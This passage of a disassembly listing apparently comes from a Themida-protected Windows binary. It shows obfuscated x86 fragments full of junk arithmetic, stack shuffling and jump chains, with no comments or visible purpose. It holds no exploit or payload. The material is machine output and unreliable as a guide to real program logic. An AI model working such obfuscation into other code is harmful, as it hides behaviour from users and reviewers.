		and	edi, 384301D7h
		not	edi
		inc	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_571970
; ---------------------------------------------------------------------------


loc_56C874:				; CODE XREF: Themida_:0056A335j
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_563949
; ---------------------------------------------------------------------------


loc_56C88A:				; CODE XREF: Themida_:0056B9B1j
		mov	[esp], eax
		push	ebx
		jmp	loc_5618B6
; ---------------------------------------------------------------------------


loc_56C893:				; CODE XREF: Themida_:0055F995j
		push	eax
		push	7AB32087h
		jmp	loc_56CB9F
; ---------------------------------------------------------------------------


loc_56C89E:				; CODE XREF: Themida_:0055D8EFj
		push	6A35h
		jmp	loc_56A406
; ---------------------------------------------------------------------------


loc_56C8A8:				; CODE XREF: Themida_:0056D777j
		sub	edi, 0B6758ACAh
		add	ecx, edi
		pop	edi
		mov	edi, ecx
		jmp	loc_570532
; ---------------------------------------------------------------------------


loc_56C8B8:				; CODE XREF: Themida_:0055D5EAj
		mov	[esp], ebx
		push	ecx
		push	623E0EECh
		jmp	loc_572869
; ---------------------------------------------------------------------------


loc_56C8C6:				; CODE XREF: Themida_:00564456j
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_56553B
; ---------------------------------------------------------------------------


loc_56C8D7:				; CODE XREF: Themida_:00569321j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_56034C
; ---------------------------------------------------------------------------


loc_56C8EB:				; CODE XREF: Themida_:0055E8E1j
		and	dl, 0B1h
		or	dl, 57h
		add	dl, 0E1h
		jmp	loc_56E70C
; ---------------------------------------------------------------------------


loc_56C8F9:				; CODE XREF: Themida_:0055F879j
		sub	edi, ebx
		pop	ebx
		add	edx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_570864
; ---------------------------------------------------------------------------


loc_56C90A:				; CODE XREF: Themida_:00564A4Dj
		add	esp, 4
		add	ebp, 1
		xor	ebp, 71F43B5Fh
		shr	ebp, 1
		jmp	loc_55D427
; ---------------------------------------------------------------------------


loc_56C920:				; CODE XREF: Themida_:0055DB5Ej
		add	ecx, 3D793C65h
		xor	edx, ecx
		pop	ecx
		add	ebp, edx
		jmp	loc_563AC2
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_561A82
; ---------------------------------------------------------------------------


loc_56C93E:				; CODE XREF: Themida_:0057263Aj
		add	ebp, 764901B3h
		neg	ebp
		sub	ebp, 27D571D0h
		push	ebx
		jmp	loc_571EE6
; ---------------------------------------------------------------------------


loc_56C952:				; CODE XREF: Themida_:005664B5j
		add	edi, eax
		add	edi, 66CA74BEh
		push	eax
		mov	eax, 50E24172h
		shr	eax, 3
		push	edi
		mov	edi, 15996A23h
		shr	edi, 8
		not	edi
		neg	edi
		sub	edi, 0FFFFFFFFh
		jmp	loc_563325
; ---------------------------------------------------------------------------


loc_56C97B:				; CODE XREF: Themida_:0055E578j
		inc	esi
		sub	esi, 0A68B5734h
		sub	edx, esi
		pop	esi
		push	edi
		mov	edi, 0A8D13CFDh
		jmp	loc_5623BB
; ---------------------------------------------------------------------------


loc_56C990:				; CODE XREF: Themida_:0056B7B5j
		mov	ebp, 136F0814h
		jmp	loc_5708A2
; ---------------------------------------------------------------------------


loc_56C99A:				; CODE XREF: Themida_:00570768j
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56D9E0
; ---------------------------------------------------------------------------


loc_56C9AA:				; CODE XREF: Themida_:0055DA70j
		dec	edi
		xor	edi, 0AB605A9h
		or	edi, 54180FE3h
		dec	edi
		shl	edi, 3
		add	edi, 90E8014h
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_56A06E
; ---------------------------------------------------------------------------


loc_56C9CF:				; CODE XREF: Themida_:00566F33j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edx, 4
		push	6373h
		jmp	loc_56E4AF
; ---------------------------------------------------------------------------


loc_56C9E9:				; CODE XREF: Themida_:00563CBCj
		push	eax
		push	ebp
		jmp	loc_5667A7
; ---------------------------------------------------------------------------


loc_56C9F0:				; CODE XREF: Themida_:00568CEFj
		add	eax, 45AA600Eh
		add	eax, ecx
		sub	eax, 45AA600Eh
		add	eax, 9EB367Bh
		push	esi
		jmp	loc_56C5E4
; ---------------------------------------------------------------------------


loc_56CA07:				; CODE XREF: Themida_:0056F730j
		xor	esi, ebx
		pop	ebx
		jmp	loc_564D65
; ---------------------------------------------------------------------------


loc_56CA0F:				; CODE XREF: Themida_:00560854j
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5602E1
; ---------------------------------------------------------------------------


loc_56CA29:				; CODE XREF: Themida_:00562F29j
		xor	edx, 384879F8h
		push	471Fh
		mov	[esp], esi
		jmp	loc_563E62
; ---------------------------------------------------------------------------


loc_56CA3C:				; CODE XREF: Themida_:0055E5E0j
		not	byte ptr [esp]
		mov	dx, [esp]
		add	esp, 2
		push	ecx
		mov	ch, 0E7h
		add	dl, 38h
		sub	dl, ch
		sub	dl, 38h
		jmp	loc_55F072
; ---------------------------------------------------------------------------


loc_56CA56:				; CODE XREF: Themida_:005667A2j
		pop	edi
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 14293FDCh
		add	esi, eax
		push	299Ah
		jmp	loc_5726F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_56CA75:				; CODE XREF: sub_59DB3D-3378Bj
		or	ch, bl
		jmp	loc_56A7B7
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_56CA7C:				; CODE XREF: Themida_:0056F405j
		pop	eax
		jmp	loc_565476
; ---------------------------------------------------------------------------


loc_56CA82:				; CODE XREF: Themida_:005677E5j
		mov	eax, [esp]
		jmp	loc_5726EC
; ---------------------------------------------------------------------------


loc_56CA8A:				; CODE XREF: Themida_:0055DBEAj
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, 2ED72FF3h
		xor	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 317439DBh
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, 0B8B6A11Ch
		add	eax, ebp
		pop	ebp
		push	ecx
		jmp	loc_560CE7
; ---------------------------------------------------------------------------


loc_56CAB5:				; CODE XREF: Themida_:0056857Fj
		pop	eax
		push	esi
		mov	esi, 3B6A10E7h
		jmp	loc_570233
; ---------------------------------------------------------------------------


loc_56CAC1:				; CODE XREF: Themida_:0055F431j
		mov	dl, ah
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		push	dx
		jmp	loc_565503
; ---------------------------------------------------------------------------


loc_56CADA:				; CODE XREF: Themida_:0056AC15j
		push	748h
		jmp	loc_569133
; ---------------------------------------------------------------------------


loc_56CAE4:				; CODE XREF: Themida_:005714A2j
		inc	ebx
		not	ebx
		shl	ebx, 1
		shr	ebx, 1
		push	edx
		mov	edx, 29E08DDFh
		xor	ebx, edx
		pop	edx
		mov	ebp, ebx
		pop	ebx
		add	ebp, 767E3169h
		xor	ebp, 1E562758h
		add	ebp, 3D33AC73h
		add	eax, ebp
		pop	ebp
		add	eax, 4
		jmp	loc_56963D
; ---------------------------------------------------------------------------


loc_56CB16:				; CODE XREF: Themida_:00569812j
		pop	ebx
		sub	ebx, 7823251h
		mov	edi, ebx
		pop	ebx
		mov	eax, edi
		pop	edi
		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_566F38
; ---------------------------------------------------------------------------


loc_56CB31:				; CODE XREF: Themida_:0056FA6Bj
		add	[esp], ax
		pushf
		jmp	loc_570636
; ---------------------------------------------------------------------------


loc_56CB3B:				; CODE XREF: Themida_:00571C95j
		push	7519h
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	edi
		mov	edi, 4
		jmp	loc_5642E3
; ---------------------------------------------------------------------------


loc_56CB56:				; CODE XREF: Themida_:00568D07j
		and	dh, bh
		pop	bx
		and	dh, 9Eh
		add	dh, 8Fh
		add	cl, dh
		pop	edx
		push	eax
		jmp	loc_56CBE6
; ---------------------------------------------------------------------------


loc_56CB69:				; CODE XREF: Themida_:00560979j
		push	edx
		mov	edx, 0B090C51h
		add	edx, 0F4F6F3B3h
		push	edx
		mov	edx, 59FF0C22h
		jmp	loc_56401B
; ---------------------------------------------------------------------------


loc_56CB80:				; CODE XREF: Themida_:00561AB5j
		xchg	edi, esi
		push	4DBFh
		mov	[esp], ecx
		jmp	loc_565E19
; ---------------------------------------------------------------------------


loc_56CB8F:				; CODE XREF: Themida_:0056A934j
		pop	edi
		xor	edi, 48BF2496h
		pop	ebp
		mov	esi, [esp]
		jmp	loc_56F1F8
; ---------------------------------------------------------------------------


loc_56CB9F:				; CODE XREF: Themida_:0056C899j
		pop	eax
		xor	eax, 365F1C71h
		mov	ebx, eax
		pop	eax
		jmp	loc_5682CA
; ---------------------------------------------------------------------------


loc_56CBAD:				; CODE XREF: Themida_:0056444Fj
		push	eax
		jmp	loc_56AFB8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	18F2h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 474A5995h
		shl	esi, 6
		push	ebp
		jmp	loc_568D42
; ---------------------------------------------------------------------------


loc_56CBD0:				; CODE XREF: Themida_:0056433Dj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_566B1C
; ---------------------------------------------------------------------------


loc_56CBE6:				; CODE XREF: Themida_:0056CB64j
		mov	ah, cl
		jmp	loc_56FD54
; ---------------------------------------------------------------------------


loc_56CBED:				; CODE XREF: Themida_:0055ECB5j
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		not	edi
		push	edi
		jmp	loc_563004
; ---------------------------------------------------------------------------
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	esi
		push	eax
		mov	eax, 4BE457BBh
		shl	eax, 1
		jmp	loc_56DB4D
; ---------------------------------------------------------------------------


loc_56CC16:				; CODE XREF: Themida_:00564283j
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	3B73h
		mov	[esp], esp
		jmp	loc_572992
; ---------------------------------------------------------------------------


loc_56CC36:				; CODE XREF: Themida_:0056C0D9j
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4F1F2B01h
		add	eax, esi
		pop	esi
		mov	ebp, [esp]
		jmp	loc_562D97
; ---------------------------------------------------------------------------


loc_56CC4E:				; CODE XREF: Themida_:0057134Fj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_567751
; ---------------------------------------------------------------------------


loc_56CC5F:				; CODE XREF: Themida_:00564DF3j
		add	eax, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 61366720h
		shr	edx, 7
		shr	edx, 6
		dec	edx
		xor	edx, 309B6h
		add	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	ebp
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56CCA3:				; CODE XREF: Themida_:0056A534j
		shr	ebp, 2
		and	ebp, 371E565Ch
		xor	ebp, 626E4CC4h
		push	edx
		mov	edx, 1DF50378h
		jmp	loc_566735
; ---------------------------------------------------------------------------


loc_56CCBD:				; CODE XREF: Themida_:00564CCAj
		mov	ebx, 4
		push	eax
		jmp	loc_56E698
; ---------------------------------------------------------------------------


loc_56CCC8:				; CODE XREF: Themida_:00567228j
		sub	eax, 35171464h
		sub	eax, 3F36604Eh
		jmp	loc_56F7EC
; ---------------------------------------------------------------------------


loc_56CCD7:				; CODE XREF: Themida_:0056343Dj
		sub	dword ptr [esp], 7C484F6Eh
		pop	esi
		add	esi, 7C484F6Eh
		pop	ebx
		and	esi, 3C0073BFh
		xor	esi, 29D96577h
		and	esi, 3F762634h
		sub	esi, 1
		shl	esi, 4
		push	ebp
		jmp	loc_567B1B
; ---------------------------------------------------------------------------


loc_56CD04:				; CODE XREF: Themida_:0056EE53j
		pop	edi
		add	esi, 20014F1h
		sub	esi, 22FF4576h
		add	ecx, esi
		pop	esi
		jmp	loc_569F43
; ---------------------------------------------------------------------------


loc_56CD19:				; CODE XREF: Themida_:005680DDj
		add	edi, 2D3672DCh
		jmp	loc_568F28
; ---------------------------------------------------------------------------


loc_56CD24:				; CODE XREF: Themida_:0055D8C5j
		add	ebp, esi
		pop	esi
		add	ebp, 4
		push	3DD6h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55E565
; ---------------------------------------------------------------------------


loc_56CD42:				; CODE XREF: Themida_:00563A83j
		add	al, 0A6h
		jmp	loc_56EB08
; ---------------------------------------------------------------------------


loc_56CD49:				; CODE XREF: Themida_:00569A7Bj
		pop	edi
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 6A9F12CAh
		pop	ecx
		pop	ecx
		push	ebx
		push	eax
		mov	eax, 4F5B2B4Dh
		shr	eax, 2
		sub	eax, 796012EDh
		sub	eax, 39B97E6Dh
		xor	eax, 60BD397Dh
		mov	ebx, eax
		jmp	loc_5711F9
; ---------------------------------------------------------------------------


loc_56CD78:				; CODE XREF: Themida_:0056F3D1j
		sub	esp, 4
		mov	[esp], eax
		push	660B7622h
		jmp	loc_5636EB
; ---------------------------------------------------------------------------


loc_56CD8B:				; CODE XREF: Themida_:0056F8FDj
		not	ebx
		xchg	ebx, edx
		xchg	edx, edi
		shl	edi, 4
		sub	edi, 8049260Eh
		push	edi
		mov	edi, esp
		jmp	loc_56458C
; ---------------------------------------------------------------------------


loc_56CDA2:				; CODE XREF: Themida_:0055D5BDj
		add	ebx, edx
		jmp	loc_5637FA
; ---------------------------------------------------------------------------


loc_56CDA9:				; CODE XREF: Themida_:00565705j
		mov	ebp, [esp]
		add	esp, 4
		push	28Dh
		mov	[esp], edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	edx
		push	ebx
		mov	ebx, 3E944BF7h
		mov	edx, 3E944BFBh
		sub	edx, 2A677504h
		sub	edx, ebx
		add	edx, 2A677504h
		pop	ebx
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55DDC5
; ---------------------------------------------------------------------------


loc_56CE0E:				; CODE XREF: Themida_:0057276Ej
		add	eax, esi
		jmp	loc_56F874
; ---------------------------------------------------------------------------


loc_56CE15:				; CODE XREF: Themida_:00572B2Aj
		sub	ah, 8Eh
		dec	ah
		jmp	loc_565C90
; ---------------------------------------------------------------------------


loc_56CE1F:				; CODE XREF: Themida_:0056CFFAj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		xor	[esp], eax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56CE31:				; CODE XREF: Themida_:00571A5Ej
		pop	esi
		jmp	loc_56F42B
; ---------------------------------------------------------------------------


loc_56CE37:				; CODE XREF: Themida_:0056E1C4j
		pop	esp
		push	3DAEh
		mov	[esp], ebx
		push	eax
		push	edx
		jmp	loc_571BCB
; ---------------------------------------------------------------------------


loc_56CE47:				; CODE XREF: Themida_:0055F603j
		push	edi
		mov	edi, 1B071B08h
		mov	ecx, edi
		jmp	loc_5698BE
; ---------------------------------------------------------------------------


loc_56CE54:				; CODE XREF: Themida_:0056D494j
		sub	al, cl
		pop	cx
		pop	edx
		jmp	loc_55E95E
; ---------------------------------------------------------------------------


loc_56CE5E:				; CODE XREF: Themida_:0055F9EDj
		push	ecx
		mov	ecx, 5ACF6D63h
		sub	ebx, ecx
		pop	ecx
		sub	ecx, 795F30FAh
		sub	ecx, ebx
		add	ecx, 795F30FAh
		jmp	loc_569281
; ---------------------------------------------------------------------------


loc_56CE7A:				; CODE XREF: Themida_:0055D9B5j
		mov	edx, [esp]
		jmp	loc_567631
; ---------------------------------------------------------------------------


loc_56CE82:				; CODE XREF: Themida_:0056D28Ej
		mov	esi, 2
		push	edx
		mov	edx, 615D7DBDh
		or	edx, 65946666h
		or	edx, 1C850588h
		shl	edx, 5
		sub	edx, 75B5892Eh
		add	eax, edx
		pop	edx
		sub	eax, 658D498Eh
		add	eax, esi
		jmp	loc_564C16
; ---------------------------------------------------------------------------


loc_56CEB1:				; CODE XREF: Themida_:00568113j
		add	esp, [edx+38h]
		push	ebx
		push	7CCh
		jmp	loc_56F5F1
; ---------------------------------------------------------------------------


loc_56CEBF:				; CODE XREF: Themida_:005609CDj
		mov	edi, esp
		jmp	loc_55D54A
; ---------------------------------------------------------------------------


loc_56CEC6:				; CODE XREF: Themida_:00562A6Bj
		pop	eax
		push	eax
		mov	eax, 0B002021h
		shr	eax, 2
		dec	eax
		add	eax, 7A399A94h
		xor	esi, eax
		pop	eax
		push	esi
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 3BFE09F2h
		shr	ecx, 7
		sub	ecx, 2CE708F7h
		jmp	loc_564E83
; ---------------------------------------------------------------------------


loc_56CEF8:				; CODE XREF: Themida_:0056FD47j
		push	edi
		mov	edi, 1C733C96h
		and	ebp, edi
		pop	edi
		not	ebp
		sub	ebp, 0DCB57D5Eh
		mov	ecx, ebp
		pop	ebp
		jmp	loc_56E2EA
; ---------------------------------------------------------------------------


loc_56CF11:				; CODE XREF: Themida_:005643AAj
		xchg	di, cx
		neg	di
		xchg	di, cx
		or	cx, 2ABBh
		add	cx, 6E03h
		sub	dx, cx
		pop	cx
		add	ax, dx
		pop	edx
		xor	bx, ax
		movzx	eax, ax
		push	edi
		jmp	loc_56B33C
; ---------------------------------------------------------------------------


loc_56CF39:				; CODE XREF: Themida_:00563E96j
		shl	esi, 5
		push	edi
		jmp	loc_563E9B
; ---------------------------------------------------------------------------


loc_56CF42:				; CODE XREF: Themida_:0056EA3Ej
		mov	ebp, 1A860A43h
		xor	ebp, 91968212h
		jmp	loc_5689D4
; ---------------------------------------------------------------------------


loc_56CF52:				; CODE XREF: Themida_:00565A94j
		pop	ebp
		dec	edx
		push	esi
		jmp	loc_571FE6
; ---------------------------------------------------------------------------


loc_56CF5A:				; CODE XREF: Themida_:00568573j
		sub	edi, 558D366Eh
		add	edi, 74EE4520h
		add	edi, ecx
		sub	edi, 74EE4520h
		add	edi, 558D366Eh
		push	ebp
		jmp	loc_56DD84
; ---------------------------------------------------------------------------


loc_56CF7A:				; CODE XREF: Themida_:0057036Cj
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_572A24
; ---------------------------------------------------------------------------


loc_56CF90:				; CODE XREF: Themida_:00566AFDj
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56BA8B
; ---------------------------------------------------------------------------


loc_56CF9F:				; CODE XREF: Themida_:0056984Ej
		pop	edx
		jmp	loc_5629D7
; ---------------------------------------------------------------------------


loc_56CFA5:				; CODE XREF: Themida_:0056DA72j
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	al, 4Ch
		add	al, bl
		add	al, 4Ch
		sub	al, 8
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	ah, 3Ah
		xor	ah, 0B8h
		add	ah, 0CFh
		jmp	loc_56ADBE
; ---------------------------------------------------------------------------


loc_56CFCE:				; CODE XREF: Themida_:0056B65Cj
		mov	dh, al
		jmp	loc_567D79
; ---------------------------------------------------------------------------


loc_56CFD5:				; CODE XREF: Themida_:00566DA0j
		shl	edx, 4
		push	edi
		mov	edi, 277F5B11h
		shr	edi, 4
		add	edi, 46E70BD8h
		jmp	loc_568E40
; ---------------------------------------------------------------------------


loc_56CFEC:				; CODE XREF: Themida_:00566487j
		sub	eax, 12485B84h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56CE1F
; ---------------------------------------------------------------------------


loc_56CFFF:				; CODE XREF: Themida_:00562819j
		dec	edx
		push	esi
		mov	esi, 684B563Bh
		xor	esi, 805BCEF3h
		xor	edx, esi
		pop	esi
		push	edx
		pop	edi
		pop	edx
		sub	eax, 660167Fh
		add	eax, edi
		jmp	loc_55E45B
; ---------------------------------------------------------------------------


loc_56D01E:				; CODE XREF: Themida_:00563630j
		xor	ebx, [esp]
		mov	esp, [esp]
		push	eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_571B08
; ---------------------------------------------------------------------------


loc_56D032:				; CODE XREF: Themida_:005713E1j
		mov	ah, 34h
		neg	ah
		shl	ah, 5
		neg	ah
		add	ah, 87h
		and	dl, ah
		pop	eax
		jmp	loc_563829
; ---------------------------------------------------------------------------

locret_56D046:				; CODE XREF: Themida_:0056C142j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56D04C:				; CODE XREF: Themida_:00564428j
		add	eax, 7B1F1858h
		jmp	loc_5679E9
; ---------------------------------------------------------------------------


loc_56D056:				; CODE XREF: Themida_:0056EFD7j
		add	esp, 4
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_56B8CD
		push	dword ptr [edi+28h]
		push	eax
		push	edi
		jmp	loc_571F08
; ---------------------------------------------------------------------------


loc_56D077:				; CODE XREF: Themida_:005615F5j
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		push	65EAh
		mov	[esp], eax
		jmp	loc_56A844
; ---------------------------------------------------------------------------


loc_56D0A4:				; CODE XREF: Themida_:0056A2A7j
		push	1EFBh
		mov	[esp], eax
		push	ebx
		jmp	loc_570FED
; ---------------------------------------------------------------------------


loc_56D0B2:				; CODE XREF: Themida_:005655CFj
		sub	al, 5Dh
		add	al, bl
		add	al, 5Dh
		sub	al, 7Ch
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ch, 7Ch
		jmp	loc_5610DF
; ---------------------------------------------------------------------------


loc_56D0C8:				; CODE XREF: Themida_:00571A4Aj
		mov	[esp], ebx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5692FF
; ---------------------------------------------------------------------------


loc_56D0DC:				; CODE XREF: Themida_:0056DD5Aj
		mov	edi, [esp]
		push	397h
		mov	[esp], edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_5644CD
; ---------------------------------------------------------------------------


loc_56D0F6:				; CODE XREF: Themida_:005722B1j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_565B1B
; ---------------------------------------------------------------------------


loc_56D103:				; CODE XREF: Themida_:0055E24Aj
		pop	ecx
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_5629C1
; ---------------------------------------------------------------------------


loc_56D111:				; CODE XREF: Themida_:0056C291j
		push	edx
		mov	edx, esp
		jmp	loc_5714AC
; ---------------------------------------------------------------------------


loc_56D119:				; CODE XREF: Themida_:0056E0FEj
		xchg	eax, [esp]
		jmp	loc_5657F8
; ---------------------------------------------------------------------------


loc_56D121:				; CODE XREF: Themida_:0055F609j
		pop	eax
		jmp	loc_56E4C5
; ---------------------------------------------------------------------------


loc_56D127:				; CODE XREF: Themida_:0056F6AAj
		pop	ecx
		shl	edx, 2
		xor	edx, 0AF10AE2h
		jmp	loc_56FF3B
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_55EC15
; ---------------------------------------------------------------------------


loc_56D13D:				; CODE XREF: Themida_:0055E860j
		shl	ebp, 8
		xor	ebp, 7888C504h
		add	esi, ebp
		jmp	loc_56E679
; ---------------------------------------------------------------------------


loc_56D14D:				; CODE XREF: Themida_:00567595j
		pop	ecx
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		push	7113h
		push	esp
		pop	dword ptr [esp]
		push	6B7Eh
		mov	[esp], ecx
		mov	ecx, 4
		push	edi
		jmp	loc_569A72
; ---------------------------------------------------------------------------


loc_56D177:				; CODE XREF: Themida_:00568073j
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_56F120
; ---------------------------------------------------------------------------


loc_56D184:				; CODE XREF: Themida_:00563526j
		add	esi, 4
		jmp	loc_56C6DE
; ---------------------------------------------------------------------------


loc_56D18F:				; CODE XREF: Themida_:00567F2Ej
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_56FF5F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5673C3
; ---------------------------------------------------------------------------


loc_56D1AE:				; CODE XREF: Themida_:00562EEBj
		push	eax
		mov	eax, 7E940C4Dh
		sub	ebp, eax
		pop	eax
		sub	ebp, edi
		jmp	loc_568193
; ---------------------------------------------------------------------------


loc_56D1BE:				; CODE XREF: Themida_:00563C75j
		xor	ebp, 235F4E6Ch
		and	ecx, ebp
		jmp	loc_5650D2
; ---------------------------------------------------------------------------


loc_56D1CB:				; CODE XREF: Themida_:0056D66Aj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56C499
; ---------------------------------------------------------------------------


loc_56D1D9:				; CODE XREF: Themida_:0055D86Aj
		pop	esp
		xor	eax, ebp
		jmp	loc_55E1FD
; ---------------------------------------------------------------------------


loc_56D1E1:				; CODE XREF: Themida_:005633C3j
		add	edx, 4
		jmp	loc_55EC99
; ---------------------------------------------------------------------------


loc_56D1EC:				; CODE XREF: Themida_:00567294j
		xor	ebp, edi
		pop	edi
		sub	ebp, 2C29725Eh
		add	ebp, 1
		not	ebp
		not	ebp
		push	esi
		jmp	loc_562639
; ---------------------------------------------------------------------------


loc_56D205:				; CODE XREF: Themida_:0056BD7Fj
		pop	esp
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56D20B:				; CODE XREF: Themida_:0056F6DEj
		xor	bx, 587Ch
		or	di, bx
		jmp	loc_567E6A
; ---------------------------------------------------------------------------


loc_56D218:				; CODE XREF: Themida_:0056C452j
		sub	edx, 0E4C63BFDh
		xor	eax, edx
		jmp	loc_56476C
; ---------------------------------------------------------------------------


loc_56D225:				; CODE XREF: Themida_:00569D1Bj
		not	edx
		inc	edx
		add	edx, 2D5648F1h
		inc	edx
		not	edx
		sub	edx, 41AC35D0h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_564FBF
; ---------------------------------------------------------------------------


loc_56D251:				; CODE XREF: Themida_:0056747Fj
		push	71E459E8h
		mov	ebx, [esp]
		add	esp, 4
		shr	ebx, 4
		xor	ebx, 5756623Ah
		add	ebx, 0DFD15A28h
		push	ecx
		push	ebx
		add	dword ptr [esp], 7AD234DCh
		pop	ecx
		sub	ecx, 7AD234DCh
		push	ebx
		jmp	loc_567199
; ---------------------------------------------------------------------------


loc_56D281:				; CODE XREF: Themida_:00561E77j
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_56AA88
; ---------------------------------------------------------------------------


loc_56D28B:				; CODE XREF: Themida_:00562E65j
		mov	[esp], esi
		jmp	loc_56CE82
; ---------------------------------------------------------------------------


loc_56D293:				; CODE XREF: Themida_:00560305j
		add	eax, 3C220F9Dh
		jmp	loc_5728AB
; ---------------------------------------------------------------------------


loc_56D29D:				; CODE XREF: Themida_:0056B811j
		mov	bh, 64h
		mov	ch, bh
		jmp	loc_55D441
; ---------------------------------------------------------------------------


loc_56D2A6:				; CODE XREF: Themida_:00563593j
		pop	eax
		jmp	loc_56D9F4
; ---------------------------------------------------------------------------


loc_56D2AC:				; CODE XREF: Themida_:0056360Fj
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_56A1B4
; ---------------------------------------------------------------------------


loc_56D2C1:				; CODE XREF: Themida_:0056769Dj
		xor	ecx, 6CC81AA0h
		mov	ebp, ecx
		jmp	loc_570331
; ---------------------------------------------------------------------------


loc_56D2CE:				; CODE XREF: Themida_:005700E4j
		sub	edx, 6EEE0CF1h
		sub	edx, 5ACA5EB4h
		sub	edx, ecx
		add	edx, 5ACA5EB4h
		push	ebp
		mov	ebp, 6EEE0CF1h
		jmp	loc_567221
; ---------------------------------------------------------------------------


loc_56D2ED:				; CODE XREF: Themida_:005654BAj
		mov	esi, 178C7879h
		mov	eax, 637A6A8h
		add	eax, 63CB63FDh
		add	eax, esi
		sub	eax, 63CB63FDh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56FA05
; ---------------------------------------------------------------------------


loc_56D30E:				; CODE XREF: Themida_:0056C6E2j
		mov	dl, al
		pop	eax
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
